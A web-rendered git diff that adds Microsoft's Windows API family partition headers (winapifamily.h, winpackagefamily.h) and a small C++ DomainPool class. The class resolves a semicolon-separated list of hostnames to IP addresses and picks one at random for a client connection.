#ifndef WINAPI_FAMILY
|
||||
#define WINAPI_FAMILY WINAPI_FAMILY_DESKTOP_APP
|
||||
#endif
|
||||
|
||||
/*
|
||||
* API PARTITONs are part of an indirection mechanism for mapping between
|
||||
* individual APIs and the FAMILYs to which they apply.
|
||||
* Each PARTITION is a category or subset of named APIs. PARTITIONs
|
||||
* are permitted to have overlapping membership -- some single API
|
||||
* might be part of more than one PARTITION. PARTITIONS are each #define-ed
|
||||
* to be either 1 or 0 or depending on the platform at which the app is targeted.
|
||||
*/
|
||||
|
||||
/*
|
||||
* The mapping between families and partitions is summarized here.
|
||||
* An X indicates that the given partition is active for the given
|
||||
* platform/family.
|
||||
*
|
||||
* +---------------------------+
|
||||
* | *Partition* |
|
||||
* +---+---+---+---+---+---+---+
|
||||
* | | | | | | | |
|
||||
* | | | | | | | |
|
||||
* | | | | P | | | |
|
||||
* | | | | H | | | |
|
||||
* | D | | | O | | | |
|
||||
* | E | | P | N | S | S | |
|
||||
* | S | | C | E | Y | E | G |
|
||||
* | K | | _ | _ | S | R | A |
|
||||
* | T | A | A | A | T | V | M |
|
||||
* +-------------------------+----+ O | P | P | P | E | E | E |
|
||||
* | *Platform/Family* \| P | P | P | P | M | R | S |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_DESKTOP_APP | X | X | X | | | | |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_PC_APP | | X | X | | | | |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_PHONE_APP | | X | | X | | | |
|
||||
* +----------------------------- +---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_SYSTEM | | | | | X | | |
|
||||
* +----------------------------- +---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_SERVER | | | | | X | X | |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
* | WINAPI_FAMILY_GAMES | | | | | | | X |
|
||||
* +------------------------------+---+---+---+---+---+---+---+
|
||||
*
|
||||
* The table above is encoded in the following expressions,
|
||||
* each of which evaluates to 1 or 0.
|
||||
*
|
||||
* Whenever a new family is added, all of these expressions
|
||||
* need to be reconsidered.
|
||||
*/
|
||||
#if WINAPI_FAMILY != WINAPI_FAMILY_DESKTOP_APP && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_PC_APP && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_PHONE_APP && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_SYSTEM && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_GAMES && \
|
||||
WINAPI_FAMILY != WINAPI_FAMILY_SERVER
|
||||
#error Unknown WINAPI_FAMILY value. Was it defined in terms of a WINAPI_PARTITION_* value?
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_DESKTOP
|
||||
#define WINAPI_PARTITION_DESKTOP (WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_APP
|
||||
#define WINAPI_PARTITION_APP \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_PC_APP
|
||||
#define WINAPI_PARTITION_PC_APP \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_PC_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_PHONE_APP
|
||||
#define WINAPI_PARTITION_PHONE_APP (WINAPI_FAMILY == WINAPI_FAMILY_PHONE_APP)
|
||||
#endif
|
||||
|
||||
#ifndef WINAPI_PARTITION_GAMES
|
||||
#define WINAPI_PARTITION_GAMES \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_GAMES || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_DESKTOP_APP)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* SYSTEM is the only partition defined here.
|
||||
* All other System based editions are defined as packages
|
||||
* on top of the System partition.
|
||||
* See winpackagefamily.h for packages level partitions
|
||||
*/
|
||||
#ifndef WINAPI_PARTITION_SYSTEM
|
||||
#define WINAPI_PARTITION_SYSTEM \
|
||||
(WINAPI_FAMILY == WINAPI_FAMILY_SYSTEM || \
|
||||
WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* For compatibility with Windows Phone 8 header files, the following
|
||||
* synonym for WINAPI_PARTITION_PHONE_APP is temporarily #define'd.
|
||||
* Use of this symbol should be regarded as deprecated.
|
||||
*/
|
||||
#define WINAPI_PARTITION_PHONE WINAPI_PARTITION_PHONE_APP
|
||||
|
||||
/*
|
||||
* Header files use the WINAPI_FAMILY_PARTITION macro to assign one or
|
||||
* more declarations to some group of partitions. The macro chooses
|
||||
* whether the preprocessor will emit or omit a sequence of declarations
|
||||
* bracketed by an #if/#endif pair. All header file references to the
|
||||
* WINAPI_PARTITION_* values should be in the form of occurrences of
|
||||
* WINAPI_FAMILY_PARTITION(...).
|
||||
*
|
||||
* For example, the following usage of WINAPI_FAMILY_PARTITION identifies
|
||||
* a sequence of declarations that are part of both the Windows Desktop
|
||||
* Partition and the Windows-Phone-Specific Store Partition:
|
||||
*
|
||||
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
|
||||
* ...
|
||||
* #endif // WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP | WINAPI_PARTITION_PHONE_APP)
|
||||
*
|
||||
* The comment on the closing #endif allow tools as well as people to find the
|
||||
* matching #ifdef properly.
|
||||
*
|
||||
* Usages of WINAPI_FAMILY_PARTITION may be combined, when the partitition definitions are
|
||||
* related. In particular one might use declarations like
|
||||
*
|
||||
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
*
|
||||
* or
|
||||
*
|
||||
* #if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_PHONE_APP)
|
||||
*
|
||||
* Direct references to WINAPI_PARTITION_ values (eg #if !WINAPI_FAMILY_PARTITION_...)
|
||||
* should not be used.
|
||||
*/
|
||||
#define WINAPI_FAMILY_PARTITION(Partitions) (Partitions)
|
||||
|
||||
/*
|
||||
* Macro used to #define or typedef a symbol used for selective deprecation
|
||||
* of individual methods of a COM interfaces that are otherwise available
|
||||
* for a given set of partitions.
|
||||
*/
|
||||
#define _WINAPI_DEPRECATED_DECLARATION __declspec(deprecated("This API cannot be used in the context of the caller's application type."))
|
||||
|
||||
/*
|
||||
* For compatibility with Windows 8 header files, the following
|
||||
* symbol is temporarily conditionally #define'd. Additional symbols
|
||||
* like this should be not defined in winapifamily.h, but rather should be
|
||||
* introduced locally to the header files of the component that needs them.
|
||||
*/
|
||||
#if WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
# define APP_DEPRECATED_HRESULT HRESULT _WINAPI_DEPRECATED_DECLARATION
|
||||
#endif // WINAPIFAMILY_PARTITION(WINAPI_PARTITION_APP) && !WINAPI_FAMILY_PARTITION(WINAPI_PARTITION_DESKTOP)
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(pop)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif /* !_INC_WINAPIFAMILY */
|
||||
91
client/d3d/winpackagefamily.h
Normal file
91
client/d3d/winpackagefamily.h
Normal file
@@ -0,0 +1,91 @@
|
||||
/*
|
||||
|
||||
Copyright (c) Microsoft Corporation. All rights reserved.
|
||||
|
||||
Module Name:
|
||||
|
||||
winpackagefamily.h
|
||||
|
||||
Abstract:
|
||||
|
||||
API family partitioning based on packages.
|
||||
|
||||
*/
|
||||
|
||||
#ifndef _INC_WINPACKAGEFAMILY
|
||||
#define _INC_WINPACKAGEFAMILY
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(push)
|
||||
#pragma warning(disable:4001) /* nonstandard extension 'single line comment' was used */
|
||||
#endif
|
||||
#pragma once
|
||||
#endif // defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
|
||||
#ifndef WINAPI_PARTITION_SERVER
|
||||
#define WINAPI_PARTITION_SERVER (WINAPI_FAMILY == WINAPI_FAMILY_SERVER)
|
||||
#endif
|
||||
|
||||
/*
|
||||
* PARTITIONS based on packages are each #undef'ed below, and then will be #define-ed
|
||||
* to be either 1 or 0 or depending on the active WINAPI_FAMILY.
|
||||
*/
|
||||
#undef WINAPI_PARTITION_PKG_WINTRUST
|
||||
#undef WINAPI_PARTITION_PKG_WEBSERVICES
|
||||
#undef WINAPI_PARTITION_PKG_EVENTLOGSERVICE
|
||||
#undef WINAPI_PARTITION_PKG_VHD
|
||||
#undef WINAPI_PARTITION_PKG_PERFCOUNTER
|
||||
#undef WINAPI_PARTITION_PKG_SECURESTARTUP
|
||||
#undef WINAPI_PARTITION_PKG_REMOTEFS
|
||||
#undef WINAPI_PARTITION_PKG_BOOTABLESKU
|
||||
#undef WINAPI_PARTITION_PKG_CMDTOOLS
|
||||
#undef WINAPI_PARTITION_PKG_DISM
|
||||
#undef WINAPI_PARTITION_PKG_CORESETUP
|
||||
#undef WINAPI_PARTITION_PKG_APPRUNTIME
|
||||
#undef WINAPI_PARTITION_PKG_ESENT
|
||||
#undef WINAPI_PARTITION_PKG_WINMGMT
|
||||
#undef WINAPI_PARTITION_PKG_WNV
|
||||
#undef WINAPI_PARTITION_PKG_CLUSTER
|
||||
#undef WINAPI_PARTITION_PKG_VSS
|
||||
#undef WINAPI_PARTITION_PKG_TRAFFIC
|
||||
#undef WINAPI_PARTITION_PKG_ISCSI
|
||||
#undef WINAPI_PARTITION_PKG_STORAGE
|
||||
#undef WINAPI_PARTITION_PKG_MPSSVC
|
||||
#undef WINAPI_PARTITION_PKG_APPXDEPLOYMENT
|
||||
#undef WINAPI_PARTITION_PKG_WER
|
||||
|
||||
/*
|
||||
* PARTITIONS for feature packages. Each package might be active for one or more editions
|
||||
*/
|
||||
#define WINAPI_PARTITION_PKG_WINTRUST (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WEBSERVICES (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_EVENTLOGSERVICE (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_VHD (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_PERFCOUNTER (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_SECURESTARTUP (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_REMOTEFS (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_BOOTABLESKU (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_CMDTOOLS (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_DISM (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_CORESETUP (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_APPRUNTIME (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_ESENT (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WINMGMT (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WNV (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_CLUSTER (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_VSS (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_TRAFFIC (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_ISCSI (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_STORAGE (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_MPSSVC (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_APPXDEPLOYMENT (WINAPI_PARTITION_SERVER == 1)
|
||||
#define WINAPI_PARTITION_PKG_WER (WINAPI_PARTITION_SERVER == 1)
|
||||
|
||||
#if defined(_MSC_VER) && !defined(MOFCOMP_PASS)
|
||||
#if _MSC_VER >= 1200
|
||||
#pragma warning(pop)
|
||||
#endif
|
||||
#endif
|
||||
|
||||
#endif /* !_INC_WINPACKAGEFAMILY */
|
||||
35
client/domain_pool.h
Normal file
35
client/domain_pool.h
Normal file
@@ -0,0 +1,35 @@
|
||||
#pragma once
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <common/commands.h>
|
||||
|
||||
std::string GetIPAddress(const char* hostName);
|
||||
|
||||
class DomainPool
|
||||
{
|
||||
private:
|
||||
char Address[100]; // 此长度和CONNECT_ADDRESS定义匹配
|
||||
std::vector<std::string> IPList;
|
||||
public:
|
||||
DomainPool()
|
||||
{
|
||||
memset(Address, 0, sizeof(Address));
|
||||
}
|
||||
DomainPool(const char* addr)
|
||||
{
|
||||
strcpy_s(Address, addr ? addr : "");
|
||||
IPList = StringToVector(Address, ';');
|
||||
for (int i = 0; i < IPList.size(); i++) {
|
||||
IPList[i] = GetIPAddress(IPList[i].c_str());
|
||||
}
|
||||
}
|
||||
std::string SelectIP() const
|
||||
{
|
||||
auto n = rand() % IPList.size();
|
||||
return IPList[n];
|
||||
}
|
||||
std::vector<std::string> GetIPList() const
|
||||
{
|
||||
return IPList;
|
||||
}
|
||||
};
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user